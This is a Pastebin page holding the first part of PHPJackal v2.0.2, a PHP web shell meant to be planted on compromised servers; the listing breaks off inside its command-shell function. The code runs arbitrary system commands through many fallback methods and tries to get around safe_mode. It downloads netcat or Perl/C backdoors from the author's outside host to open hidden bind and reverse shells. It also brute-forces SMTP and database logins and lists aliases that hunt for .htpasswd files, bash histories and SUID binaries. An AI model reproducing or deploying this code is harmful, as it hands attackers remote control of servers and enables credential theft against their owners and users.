API tools faq
paste
aljazara

PHPJackal v2.0.2

aljazara
Apr 27th, 2013
735
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 120.81 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. #PHPJackal v2.0.2
  3. #http://h.ackerz.com
  4. #--Config--#
  5. $login_password='';#Login password
  6. $email='';#Just in case you forget the password
  7. $IP=array();#Allowed addresses [$IP=array('192.168.100.5','192.168.100.9');]
  8. #----------#
  9. error_reporting(0);
  10. ignore_user_abort(true);
  11. set_time_limit(0);
  12. ini_set('max_execution_time','0');
  13. ini_set('memory_limit','9999M');
  14. ini_set('output_buffering',0);
  15. set_magic_quotes_runtime(0);
  16. if(!isset($_SERVER))$_SERVER=&$HTTP_SERVER_VARS;
  17. if(!isset($_POST))$_POST=&$HTTP_POST_VARS;
  18. if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
  19. if(!isset($_COOKIE))$_COOKIE=&$HTTP_COOKIE_VARS;
  20. if(!isset($_FILES))$_FILES=&$HTTP_POST_FILES;
  21. $_REQUEST = array_merge($_GET,$_POST);
  22. if(get_magic_quotes_gpc()){
  23. foreach($_REQUEST as $key=>$value)$_REQUEST[$key]=stripslashes($value);
  24. }
  25. if(count($IP) && !in_array($_SERVER['REMOTE_ADDR'],$IP))die('Access denied!');
  26. function hlinK($str=''){
  27. $myvars=array('attacH','forgeT','serveR','domaiN','modE','chkveR','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
  28. $ret=$_SERVER['PHP_SELF'].'?';
  29. $new=explode('&',$str);
  30. foreach($_GET as $key => $v){
  31. $add=1;
  32. foreach($new as $m){
  33. $el=explode('=',$m);
  34. if($el[0]==$key)$add=0;
  35. }
  36. if($add){if(!in_array($key,$myvars))$ret.="$key=$v&";}
  37. }
  38. $ret.=$str;
  39. return $ret;
  40. }
  41. header('Cache-Control: no-cache, must-revalidate');
  42. header('Expires: Mon, 7 Aug 1987 05:00:00 GMT');
  43. if(!empty($_REQUEST['forgeT'])){
  44. mail($email,'PHPJackal Password','Your password on '.$_SERVER['HTTP_HOST'].' is "'.$login_password.'"');
  45. die("<h1>Mail sent</h1>");
  46. }
  47. if(!empty($login_password)){
  48. if(!empty($_REQUEST['fpassw'])){
  49. if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw']));
  50. header('Location: '.hlinK());
  51. }
  52. if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password)){
  53. $forget='';
  54. if(!empty($email))$forget='<a href="'.hlinK("forgeT=1").'">Forget password!</a>';
  55. die('<html><body><form method="POST">Password:<input type="password" name="fpassw"><input type="submit" value="Login"></form><br />'.$forget.'</body></html>');
  56. }
  57. }
  58. if (!empty($_REQUEST['slfrmv'])){unlink(__FILE__);die("<h1>Bye</h1>");}
  59. if(!empty($_REQUEST['workingdiR']))chdir($_REQUEST['workingdiR']);
  60. if(empty($_REQUEST['seC']))$_REQUEST['seC']='about';
  61. $disablefunctions=ini_get('disable_functions');
  62. $disablefunctions=explode(',',$disablefunctions);
  63. function checkthisporT($ip,$port,$timeout,$type=0){
  64. if(!$type){
  65. $scan=fsockopen($ip,$port,$n,$s,$timeout);
  66. if($scan){fclose($scan);return 1;}
  67. }
  68. elseif(function_exists('socket_set_timeout')){
  69. $scan=fsockopen("udp://$ip",$port);
  70. if($scan){
  71. socket_set_timeout($scan,$timeout);
  72. fwrite($scan,"\x00");
  73. $s=time();
  74. fread($scan,1);
  75. if((time()-$s)>=$timeout){fclose($scan);return 1;}
  76. }
  77. }
  78. return 0;
  79. }
  80. if(!function_exists('is_executable')){
  81. function is_executable($addr){
  82. return 0;
  83. }
  84. }
  85. if(!function_exists('file_get_contents')){
  86. function file_get_contents($addr){
  87. $a=fopen($addr,'r');
  88. $tmp=fread($a,filesize($a));
  89. fclose($a);
  90. if($a)return $tmp;else return null;
  91. }
  92. }
  93. if(!function_exists('file_put_contents')){
  94. function file_put_contents($addr,$con){
  95. $a=fopen($addr,'w');
  96. if(!$a)return 0;
  97. $t=fwrite($a,$con);
  98. fclose($a);
  99. if($t)return strlen($con);
  100. return 0;
  101. }
  102. }
  103. function file_add_contentS($addr,$con){
  104. $a=fopen($addr,'a');
  105. if(!$a)return 0;
  106. fwrite($a,$con);
  107. fclose($a);
  108. return strlen($con);
  109. }
  110. if(!empty($_REQUEST['chmoD']) && !empty($_REQUEST['modE']))chmod($_REQUEST['chmoD'],'0'.$_REQUEST['modE']);
  111. if(!empty($_REQUEST['downloaD'])){
  112. @ob_clean();
  113. $dl=$_REQUEST['downloaD'];
  114. $con=file_get_contents($dl);
  115. header('Content-type: '.get_mimE($dl));
  116. header("Content-disposition: attachment; filename=\"$dl\";");
  117. header('Content-length: '.strlen($con));
  118. die($con);
  119. }
  120. if(!empty($_REQUEST['imagE'])){
  121. $img=$_REQUEST['imagE'];
  122. header('Content-type: image/gif');
  123. header("Content-length: ".filesize($img));
  124. header("Last-Modified: ".date('r',filemtime($img)));
  125. die(file_get_contents($img));
  126. }
  127. if(!empty($_REQUEST['exT'])){
  128. $ex=$_REQUEST['exT'];
  129. $e=get_extension_funcs($ex);
  130. echo '<html><head><title>'.htmlspecialchars($ex).'</title></head><body><b>Functions:</b><br>';foreach($e as $k=>$f){$i=$k+1;echo "$i)$f ";if(in_array($f,$disablefunctions))echo '<font color=red>DISABLED</font>';echo '<br>';}
  131. die('</body></html>');
  132. }
  133. function showsizE($size){
  134. if($size>=1073741824)$size=round(($size/1073741824),2).' GB';
  135. elseif($size>=1048576)$size=round(($size/1048576),2).' MB';
  136. elseif($size>=1024)$size=round(($size/1024),2).' KB';
  137. else $size.=' B';
  138. return $size;
  139. }
  140. $windows=(substr((strtoupper(php_uname())),0,3)=='WIN')?1:0;
  141. $cwd=getcwd();
  142. $VERSION='2.0.2';
  143. $intro='<img src="http://h.ackerz.com/PHPJackal/images/about.png" style="border: none; margin: 0;" /><br /><br />
  144. <font color="red">
  145. <pre>
  146. ______ _ _ ______ ___ _ _
  147. | ___ \ | | || ___ \|_ | | | | |
  148. | |_/ / |_| || |_/ / | | __ _ ___| | ____ _| |
  149. | __/| _ || __/ | |/ _` |/ __| |/ / _` | |
  150. | | | | | || | /\__/ / (_| | (__| < (_| | |
  151. \_| \_| |_/\_| \____/ \__,_|\___|_|\_\__,_|_|
  152. </pre></font><br />Version: '.$VERSION.'<br />Author: Nima Ghotbi (NetJackal)<br />Website: <a href="http://h.ackerz.com" target="_blank">http://h.ackerz.com</a><br /><br />You can submit Bugs/Ideas/Question at <a href="http://h.ackerz.com/forums/" target="_blank">http://h.ackerz.com/forums/</a><br />
  153. <br />New in this version: <br />
  154. <ul>
  155. <li>Steganographer added.</li>
  156. <li>MySQL dump added.</li>
  157. <li>Mailer now support dynamic content and attachment.</li>
  158. <li>Now you can set an email address to recover password in case you forget it later.</li>
  159. <li>Editor improved.</li>
  160. <li>Crackers improved.</li>
  161. <li>Information section improved.</li>
  162. <li>Header grabber improved.</li>
  163. <li>Send by mail added to Filemanager.</li>
  164. <li>Bug fix in Filemanager section.</li>
  165. <li>...</li>
  166. </ul>';
  167. $hcwd="<input type=hidden name=workingdiR value='$cwd'>";
  168. function checkfunctioN($func){
  169. global $disablefunctions,$safemode;
  170. $safe=array('passthru','system','exec','shell_exec','popen','proc_open');
  171. if($safemode=='ON' && in_array($func,$safe))return 0;
  172. elseif(function_exists($func) && is_callable($func) && !in_array($func,$disablefunctions))return 1;
  173. return 0;
  174. }
  175. function is_eveN($num){
  176. return ($num%2==0);
  177. }
  178. function asc2biN($char){
  179. return str_pad(decbin(ord($char)), 8, "0", STR_PAD_LEFT);
  180. }
  181. function rgb2biN($rgb){
  182. $binstream = "";
  183. $red = ($rgb >> 16) & 0xFF;
  184. $green = ($rgb >> 8) & 0xFF;
  185. $blue = $rgb & 0xFF;
  186. if(is_eveN($red))$binstream .= "1";else $binstream .= "0";
  187. if(is_eveN($green))$binstream .= "1";else $binstream .= "0";
  188. if(is_eveN($blue))$binstream .= "1";else $binstream .= "0";
  189. return $binstream;
  190. }
  191. function stegfilE($image, $fileaddr,$out){
  192. $filename=basename($fileaddr);
  193. $path=dirname($fileaddr);
  194. $imagename=basename($image);
  195. $binstream = $recordstream = "";
  196. $make_odd = Array();
  197. $pic = ImageCreateFromJPEG($image);
  198. $attributes = getImageSize($image);
  199. $outpic = ImageCreateFromJPEG($image);
  200. $data = file_get_contents($fileaddr);
  201. do{
  202. $boundary = chr(rand(0,255)).chr(rand(0,255)).chr(rand(0,255));
  203. } while(strpos($data,$boundary)!==false && strpos($hidefile['name'],$boundary)!==false);
  204. $data = $boundary.$filename.$boundary.$data.$boundary;
  205. if(strlen($data)*8 > ($attributes[0]*$attributes[1])*3){
  206. return "Cannot fit $filename in $imagename.<br />$imagename requires mask to contain at least ".(intval((strlen($data)*8)/3)+1)." pixels.<br />Maximum filesize that $imagename can hide is ".intval((($attributes[0]*$attributes[1])*3)/8)." bytes";
  207. }
  208. for($i=0; $i<strlen($data) ; $i++)
  209. {
  210. $char = $data{$i};
  211. $binary = asc2biN($char);
  212. $binstream .= $binary;
  213.  
  214. for($j=0 ; $j<strlen($binary) ; $j++)
  215. {
  216. $binpart = $binary{$j};
  217. if($binpart=="0")
  218. {
  219. $make_odd[] = true;
  220. } else {
  221. $make_odd[] = false;
  222. }
  223. }
  224. }
  225. $y=0;
  226. for($i=0,$x=0; $i<sizeof($make_odd) ; $i+=3,$x++){
  227. $rgb = ImageColorAt($pic, $x,$y);
  228. $cols = Array();
  229. $cols[] = ($rgb >> 16) & 0xFF;
  230. $cols[] = ($rgb >> 8) & 0xFF;
  231. $cols[] = $rgb & 0xFF;
  232.  
  233. for($j=0 ; $j<sizeof($cols) ; $j++)
  234. {
  235. if($make_odd[$i+$j]===true && is_eveN($cols[$j])){
  236. $cols[$j]++;
  237. } else if($make_odd[$i+$j]===false && !is_eveN($cols[$j])){
  238. $cols[$j]--;
  239. }
  240. }
  241. $temp_col = ImageColorAllocate($outpic,$cols[0],$cols[1],$cols[2]);
  242. ImageSetPixel($outpic,$x,$y,$temp_col);
  243. if($x==($attributes[0]-1)){
  244. $y++;
  245. $x=-1;
  246. }
  247. }
  248. ImagePNG($outpic,$out);
  249. return '<b>Well done!</b> <a href="'.hlink("seC=img&filE=$out&workingdiR=$path").'">'.htmlspecialchars($out).'</a><br />';
  250. }
  251. function steg_recoveR($fileaddr){
  252. global $cwd;
  253. $ascii=$boundary=$binstream=$filename="";
  254. $attributes = getImageSize($fileaddr);
  255. $pic = ImageCreateFromPNG($fileaddr);
  256. if(!$pic || !$attributes){
  257. return "could not read image";
  258. }
  259. $bin_boundary = "";
  260. for($x=0 ; $x<8 ; $x++)
  261. {
  262. $bin_boundary .= rgb2biN(ImageColorAt($pic, $x,0));
  263. }
  264. for($i=0 ; $i<strlen($bin_boundary) ; $i+=8)
  265. {
  266. $binchunk = substr($bin_boundary,$i,8);
  267. $boundary .= chr(bindec($binchunk));
  268. }
  269. $start_x = 8;
  270. for($y=0 ; $y<$attributes[1] ; $y++)
  271. {
  272. for($x=$start_x ; $x<$attributes[0] ; $x++){
  273. $binstream .= rgb2biN(ImageColorAt($pic, $x,$y));
  274. if(strlen($binstream)>=8){
  275. $binchar = substr($binstream,0,8);
  276. $ascii .= chr(bindec($binchar));
  277. $binstream = substr($binstream,8);
  278. }
  279. if(strpos($ascii,$boundary)!==false){
  280. $ascii = substr($ascii,0,strlen($ascii)-3);
  281. if(empty($filename)){
  282. $filename = $ascii;
  283. $ascii = "";
  284. } else {
  285. break 2;
  286. }
  287. }
  288. }
  289. $start_x = 0;
  290. }
  291. file_put_contents($filename,$ascii);
  292. return '<b>Well done!</b> <a href="'.hlink("seC=openit&namE=$filename&workingdiR=$cwd").'">'.htmlspecialchars($filename).'</a><br />';
  293. }
  294. function whereistmP(){
  295. $uploadtmp=ini_get('upload_tmp_dir');
  296. $uf=getenv('USERPROFILE');
  297. $af=getenv('ALLUSERSPROFILE');
  298. $se=ini_get('session.save_path');
  299. $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
  300. if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
  301. if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
  302. if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
  303. if(is_dir($uf) && is_writable($uf))return $uf;
  304. if(is_dir($af) && is_writable($af))return $af;
  305. if(is_dir($se) && is_writable($se))return $se;
  306. if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
  307. if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
  308. return '.';
  309. }
  310. function shelL($command){
  311. global $windows;
  312. $exec=$output='';
  313. $dep[]=array('pipe','r');$dep[]=array('pipe','w');
  314. if(checkfunctioN('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
  315. elseif(checkfunctioN('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
  316. elseif(checkfunctioN('exec')){exec($command,$output);$output=join("\n",$output);$exec=$output;}
  317. elseif(checkfunctioN('shell_exec'))$exec=shell_exec($command);
  318. elseif(checkfunctioN('popen')){$output=popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
  319. elseif(checkfunctioN('proc_open')){$res=proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
  320. elseif(checkfunctioN('win_shell_execute'))$exec=winshelL($command);
  321. elseif(checkfunctioN('win32_create_service'))$exec=srvshelL($command);
  322. elseif(extension_loaded('ffi') && $windows)$exec=ffishelL($command);
  323. elseif(is_object($ws=new COM('WScript.Shell')))$exec=comshelL($command,$ws);
  324. elseif(extension_loaded('perl'))$exec=perlshelL($command);
  325. return $exec;
  326. }
  327. function getiT($get){
  328. $fo=strtolower(ini_get('allow_url_fopen'));
  329. $ui=strtolower(ini_get('allow_url_include'));
  330. if($fo || $fo=='on')$con=file_get_contents($get);
  331. elseif($ui || $ui=='on'){
  332. ob_start();
  333. include($get);
  334. $con=ob_get_contents();
  335. ob_end_clean();
  336. }
  337. else{
  338. $u=parse_url($get);
  339. $host=$u['host'];$file=(empty($u['path']))?'/':$u['path'];$port=(empty($u['port']))?80:$u['port'];
  340. $url=fsockopen($host,$port,$en,$es,12);
  341. fputs($url,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
  342. $tmp=$con='';
  343. while($tmp!="\r\n")$tmp=fgets($url);
  344. while(!feof($url))$con.=fgets($url);
  345. }
  346. return $con;
  347. }
  348. function downloadiT($get,$put){
  349. $con=getiT($get);
  350. $mk=file_put_contents($put,$con);
  351. if($mk)return 1;
  352. return 0;
  353. }
  354. function winshelL($command){
  355. $name=whereistmP()."\\".uniqid('NJ');
  356. win_shell_execute('cmd.exe','',"/C $command >\"$name\"");
  357. sleep(1);
  358. $exec=file_get_contents($name);
  359. unlink($name);
  360. return $exec;
  361. }
  362. function ffishelL($command){
  363. $name=whereistmP()."\\".uniqid('NJ');
  364. $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  365. $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
  366. while(!file_exists($name))sleep(1);
  367. $exec=file_get_contents($name);
  368. unlink($name);
  369. return $exec;
  370. }
  371. function srvshelL($command){
  372. $name=whereistmP()."\\".uniqid('NJ');
  373. $n=uniqid('NJ');
  374. $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
  375. win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
  376. win32_start_service($n);
  377. win32_stop_service($n);
  378. win32_delete_service($n);
  379. while(!file_exists($name))sleep(1);
  380. $exec=file_get_contents($name);
  381. unlink($name);
  382. return $exec;
  383. }
  384. function get_mimE($filename){
  385. global $windows;
  386. preg_match("/\.(.*?)$/", $filename, $m);
  387. switch(strtolower($m[1])){
  388. case "js": return "application/javascript";
  389. case "json": return "application/json";
  390. case "jpg": case "jpeg": case "jpe": return "image/jpg";
  391. case "png": case "gif": case "bmp": return "image/".strtolower($m[1]);
  392. case "css": return "text/css";
  393. case "xml": return "application/xml";
  394. case "html": case "htm": case "php": return "text/html";
  395. default:
  396. if(function_exists("mime_content_type")){$m = mime_content_type($filename);}elseif(function_exists("finfo_open")){
  397. $finfo = finfo_open(FILEINFO_MIME);
  398. $m = finfo_file($finfo, $filename);
  399. finfo_close($finfo);
  400. }else{
  401. if($windows)return "application/octet-stream";
  402. if(strstr($_SERVER[HTTP_USER_AGENT], "Macintosh")){$m = trim(shelL('file -b --mime '.$filename));
  403. }else{
  404. $m = trim(shelL('file -bi '.$filename));
  405. }
  406. }
  407. $m = split(";", $m);
  408. return trim($m[0]);
  409. }
  410. }
  411. function comshelL($command,$ws){
  412. $exec=$ws->exec("cmd.exe /c $command");
  413. $so=$exec->StdOut();
  414. return $so->ReadAll();
  415. }
  416. function perlshelL($command){
  417. $perl=new perl();
  418. ob_start();
  419. $perl->eval("system('$command')");
  420. $exec=ob_get_contents();
  421. ob_end_clean();
  422. return $exec;
  423. }
  424. function smtpchecK($addr,$user,$pass,$timeout){
  425. $sock=fsockopen($addr,25,$n,$s,$timeout);
  426. if(!$sock)return -1;
  427. fread($sock,1024);
  428. fputs($sock,'ehlo '.uniqid('NJ')."\r\n");
  429. $res=substr(fgets($sock,512),0,1);
  430. if($res!='2')return 0;
  431. fgets($sock,512);fgets($sock,512);fgets($sock,512);
  432. fputs($sock,"AUTH LOGIN\r\n");
  433. $res=substr(fgets($sock,512),0,3);
  434. if($res!='334')return 0;
  435. fputs($sock,base64_encode($user)."\r\n");
  436. $res=substr(fgets($sock,512),0,3);
  437. if($res!='334')return 0;
  438. fputs($sock,base64_encode($pass)."\r\n");
  439. $res=substr(fgets($sock,512),0,3);
  440. if($res!='235')return 0;
  441. return 1;
  442. }
  443. function mysqlchecK($host,$user,$pass,$timeout){
  444. if(function_exists('mysql_connect')){
  445. $l=mysql_connect($host,$user,$pass);
  446. if($l)return 1;
  447. }
  448. return 0;
  449. }
  450. function mssqlchecK($host,$user,$pass,$timeout){
  451. if(function_exists('mssql_connect')){
  452. $l=mssql_connect($host,$user,$pass);
  453. if($l)return 1;
  454. }
  455. return 0;
  456. }
  457. function checksmtP($host,$timeout){
  458. $from=strtolower(uniqid('nj')).'@'.strtolower(uniqid('nj')).'.com';
  459. $sock=fsockopen($host,25,$n,$s,$timeout);
  460. if(!$sock)return -1;
  461. $res=substr(fgets($sock,512),0,3);
  462. if($res!='220')return 0;
  463. fputs($sock,'HELO '.uniqid('NJ')."\r\n");
  464. $res=substr(fgets($sock,512),0,3);
  465. if($res!='250')return 0;
  466. fputs($sock,"MAIL FROM: <$from>\r\n");
  467. $res=substr(fgets($sock,512),0,3);
  468. if($res!='250')return 0;
  469. fputs($sock,"RCPT TO: <[email protected]>\r\n");
  470. $res=substr(fgets($sock,512),0,3);
  471. if($res!='250')return 0;
  472. fputs($sock,"DATA\r\n");
  473. $res=substr(fgets($sock,512),0,3);
  474. if($res!='354')return 0;
  475. fputs($sock,"From: ".uniqid('NJ')." ".uniqid('NJ')." <$from>\r\nSubject: ".uniqid('NJ')."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".uniqid('Hello ',true)."\r\n.\r\n");
  476. $res=substr(fgets($sock,512),0,3);
  477. if($res!='250')return 0;
  478. return 1;
  479. }
  480. function replace_stR($s,$h){
  481. $ret=$h;
  482. foreach($s as $k=>$r)$ret=str_replace($k,$r,$ret);
  483. return $ret;
  484. }
  485. function check_urL($url,$method,$search='200',$timeout=3){
  486. $u=parse_url($url);
  487. $method=strtoupper($method);
  488. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port'];
  489. $data=(!empty($u['query']))?$u['query']:'';
  490. if(!empty($data))$data="?$data";
  491. $sock=fsockopen($host,$port,$en,$es,$timeout);
  492. if($sock){
  493. fputs($sock,"$method $file$data HTTP/1.0\r\n");
  494. fputs($sock,"Host: $host\r\n");
  495. if($method=='GET')fputs($sock,"\r\n");
  496. elseif($method=='POST')fputs($sock,'Content-Type: application/x-www-form-urlencoded\r\nContent-length: '.strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data");
  497. else return 0;
  498. if($search=='200')if(strstr(fgets($sock),'200')){fclose($sock);return 1;}else{fclose($sock);return 0;}
  499. while(!feof($sock)){
  500. $res=fgets($sock);
  501. if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;}
  502. }
  503. fclose($sock);
  504. }
  505. return 0;
  506. }
  507. function get_sw_namE($host,$timeout){
  508. $sock=fsockopen($host,80,$en,$es,$timeout);
  509. if($sock){
  510. $page=uniqid('NJ');
  511. fputs($sock,"GET /$page HTTP/1.0\r\n\r\n");
  512. while(!feof($sock)){
  513. $con=fgets($sock);
  514. if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;}
  515. }
  516. fclose($sock);
  517. return -1;
  518. }return 0;
  519. }
  520. function snmpchecK($ip,$com,$timeout){
  521. $res=0;
  522. $n=chr(0x00);
  523. $packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01).chr(0x00).chr(0x04).chr(strlen($com)).$com.chr(0xA0).chr(0x19).chr(0x02).chr(0x01).chr(0x01).chr(0x02).chr(0x01).$n.chr(0x02).chr(0x01).$n.chr(0x30).chr(0x0E).chr(0x30).chr(0x0C).chr(0x06).chr(0x08).chr(0x2B).chr(0x06).chr(0x01).chr(0x02).chr(0x01).chr(0x01).chr(0x01).$n.chr(0x05).$n;
  524. $sock=fsockopen("udp://$ip",161);
  525. if(function_exists('socket_set_timeout'))socket_set_timeout($sock,$timeout);
  526. fputs($sock,$packet);
  527. socket_set_timeout($sock,$timeout);
  528. $res=fgets($sock);
  529. fclose($sock);
  530. if($res != '')return 1;else return 0;
  531. }
  532. $safemode=(ini_get('safe_mode') || strtolower(ini_get('safe_mode'))=='on')?'ON':'OFF';
  533. if($safemode=='ON'){ini_restore('safe_mode');ini_restore('open_basedir');}
  534. function brshelL(){
  535. global $windows,$hcwd;
  536. echo '<img src="http://h.ackerz.com/PHPJackal/images/br.png" style="border: none; margin: 0;" /><br /><br />';
  537. $_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0;
  538. $addr='http://h.ackerz.com/PHPJackal/br';
  539. $error="Can not make backdoor file, go to writeable folder.";
  540. $n=uniqid('NJ_');
  541. if(!$windows)$n=".$n";
  542. $d=whereistmP();
  543. $name=$d.DIRECTORY_SEPARATOR.$n;
  544. $c=($_REQUEST['C'])?1:0;
  545. if(!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1)){
  546. $port=(int)$_REQUEST['port'];
  547. if($windows){
  548. if($c){
  549. $name.='.exe';
  550. $bd=downloadiT("$addr/nc",$name);
  551. shelL("attrib +H $name");
  552. if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe");
  553. }else{
  554. $name=$name.'.pl';
  555. $bd=downloadiT("$addr/winbind.p",$name);
  556. shelL("attrib +H $name");
  557. if(!$bd)echo $error;else shelL("perl $name $port");
  558. }
  559. }
  560. else{
  561. if($c){
  562. $bd=downloadiT("$addr/bind.c",$name);
  563. if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &");
  564. }else{
  565. $bd=downloadiT("$addr/bind.p",$name);
  566. if(!$bd)echo $error;else shelL("cd $d;perl $n $port &");
  567. echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>";
  568. }
  569. }
  570. }
  571. elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){
  572. $ip=$_REQUEST['ip'];
  573. $port=(int)$_REQUEST['rport'];
  574. if($windows){
  575. if($c){
  576. $name.='.exe';
  577. $bd=downloadiT("$addr/nc",$name);
  578. shelL("attrib +H $name");
  579. if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe");
  580. }else{
  581. $name=$name.'.pl';
  582. $bd=downloadiT("$addr/winrc.p",$name);
  583. shelL("attrib +H $name");
  584. if (!$bd)echo $error;else shelL("perl.exe $name $ip $port");
  585. }
  586. }
  587. else{
  588. if($c){
  589. $bd=downloadiT("$addr/rc.c",$name);
  590. if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &");
  591. }else{
  592. $bd=downloadiT("$addr/rc.p",$name);
  593. if(!$bd)echo $error;else shelL("cd $d;perl $n $ip $port &");
  594. }
  595. }
  596. echo '<font color=blue>Done!</font>';}
  597. else{
  598. echo '<form name=bind method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Bind shell</label></div><div class="fieldwrapper"><label class="styled">Port:</label><div class="thefield"><input type="text" name="port" value="55501" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Type:</label><div class="thefield"><ul style="margin-top:0;"><li><input type="radio" value="0" checked name="C" /> <label>PERL</label></li><li><input type="radio" name="C" value="1" /> <label>';if($windows)echo 'EXE';else echo 'C';echo '</label></li></ul></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Bind" style="margin-left: 150px;" /></div></form><form name=reverse method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Reverse shell</label></div><div class="fieldwrapper"><label class="styled">IP:</label><div class="thefield"><input type="text" name="ip" value="';echo $_SERVER['REMOTE_ADDR'];echo '" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Port:</label><div class="thefield"><input type="text" name="rport" value="53" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Type:</label><div class="thefield"><ul style="margin-top:0;"><li><input type="radio" value="0" checked name="C" /> <label>PERL</label></li><li><input type="radio" name="C" value="1" /> <label>';if($windows)echo 'EXE';else echo 'C';echo '</label></li></ul></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Connect" style="margin-left: 150px;" /></div></form>';
  599. }
  600. }
  601. function showimagE($img){
  602. echo '<img border=0 src="'.hlinK("imagE=$img&&workingdiR=".getcwd()).'"><br /><a href="javascript: history.go(-1)"><img src="http://h.ackerz.com/PHPJackal/images/back.png" /><b>Back</b></a>';}
  603. function editoR($file=''){
  604. global $hcwd,$cwd;
  605. if(!empty($_REQUEST['filE']))$file=$_REQUEST['filE'];
  606. if($file=='')$file=$cwd;else $file=realpath($file);
  607. $data="";
  608. if(is_file($file)){
  609. if(!is_readable($file)){echo "File is not readable";}
  610. if(!is_writeable($file)){echo "File is not writeable";}
  611. $data=file_get_contents($file);
  612. }
  613. echo '<img src="http://h.ackerz.com/PHPJackal/images/editor.png" style="border: none; margin: 0;" /><br /><br /><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">File:</label><div class="thefield"><input type="text" name="filE" value="'.htmlspecialchars($file).'" size="30" />'.$hcwd.'</div></div><div class="buttonsdiv"><input type="submit" name="open" value="Open" style="margin-left: 150px;" /></div></form><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">Content:</label><div class="thefield"><textarea name="edited">'.htmlspecialchars($data).'</textarea></div></div>'.$hcwd.'<input type="hidden" name="filE" value="'.htmlspecialchars($file).'"/><div class="buttonsdiv"><input type="submit" name="Save" value="Save" style="margin-left: 150px;" /></div></form>';
  614. }
  615. function webshelL(){
  616. global $windows,$hcwd,$cwd;
  617. if($windows){
  618. $alias="<option value='netstat -an'>Display open ports</option><option value='tasklist'>List of processes</option><option value='systeminfo'>System information</option><option value='ipconfig /all'>IP configuration</option><option value='getmac'>Get MAC address</option><option value='net start'>Services list</option><option value='net view'>Machines in domain</option><option value='net user'>Users list</option><option value='shutdown -s -f -t 1'>Turn off the server</option>";
  619. }
  620. else{
  621. $alias="<option value='netstat -an | grep -i listen'>Display open ports</option><option value='last -a -n 250 -i'>Show last 250 logged in users</option><option value='which wget curl lynx w3m'>Downloaders</option><option value='find / -perm -2 -type d -print'>Find world-writable directories</option><option value='find . -perm -2 -type d -print'>Find world-writable directories(in current directory)</option><option value='find / -perm -2 -type f -print'>Find world-writable files</option><option value='find . -perm -2 -type f -print'>Find world-writable files(in current directory)</option><option value='find / -type f -perm 04000 -ls'>Find files with SUID bit set</option><option value='find / -type f -perm 02000 -ls'>Find files with SGID bit set</option><option value='find / -name .htpasswd -type f'>Find .htpasswd files</option><option value='find / -type f -name .bash_history'>Find .bash_history files</option><option value='cat /etc/syslog.conf'>View syslog.conf</option><option value='cat cat /etc/hosts'>View hosts</option><option value='ps auxw'>List of processes</option>";
  622. if(is_dir('/etc/valiases'))$alias.="<option value='ls -l /etc/valiases'>List of cPanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value='ls -l /etc/vdomainaliases'>List cPanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value='cat /var/cpanel/accounting.log'>Display cPanel`s log</option>";
  623. if(is_dir('/var/spool/mail/'))$alias.="<option value='ls /var/spool/mail/'>Mailboxes list</option>";
  624. }
